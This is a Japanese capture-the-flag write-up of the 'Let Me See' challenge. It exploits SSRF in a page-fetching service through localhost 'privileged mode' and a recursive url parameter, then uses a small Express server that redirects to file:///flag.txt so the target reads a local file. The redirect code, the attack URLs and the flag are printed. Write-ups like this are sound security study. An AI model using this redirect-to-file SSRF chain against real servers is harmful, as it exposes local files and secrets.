Let Me See
oioki
This service lets you see the source code of your website:
https://let-me-see.pwn.institute
ソースコードを見てみる
/flag.txt
を見ればいいようだ。
アクセスするとWrong way.
と出る。
https://let-me-see.pwn.institute/flag.txt
を試しに最初の画面で指定してみると、Sorry, only http:// is supported.
となる。
指示通りにhttpにしてみる。
http://let-me-see.pwn.institute/flag.txt
<html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.19.2</center> </body> </html>
んー、301なの?httpは完全に廃止してhttpsにしましたよってこと?
nginxのバージョンも最新評価版だから、問題ない。
うーん?
Writeup
んー、途中までは行けそうだけれど、他のサイトからfileスキームを呼び出す発想が出てくるかな…
SSRF
localhostを入れると微妙に挙動が変わる。
http://localhost/flag.txt
-> Wrong way.
もうちょっと実験してみる。
http://127.0.0.1/
とすると、Your IP address is 127.0.0.1. PRIVILEGED MODE ENABLED.
となる。
元の画面になっているので、再帰的にリクエストを投げてみる。
http://127.0.0.1/?url=http%3A%2F%2F127.0.0.1%2Fflag.txt
これはどうだ。
Wrong way.
httpスキームしか使えないが、次はどうする?
リダイレクトを使う
色々試すと、Priviledge Modeの意味が分かってくる。
前はlocalhostしか使えなかったが、今の状態ではどんなホストでも使用可能となっている。
なのでアクセス先でfileスキームをリダイレクトさせて、fileスキームでSSRFを発火させる。
適当にrepl.itでリダイレクトを作る。
const express = require('express'); const app = express(); app.get('*', (req, res) => { res.redirect('file:///flag.txt'); }); app.listen(3000, () => { console.log('server started'); });
http://127.0.0.1/?url=[url-encoded url]
でフラグゲット。
BCTF{tricky_curl_redirect_to_file_protocol}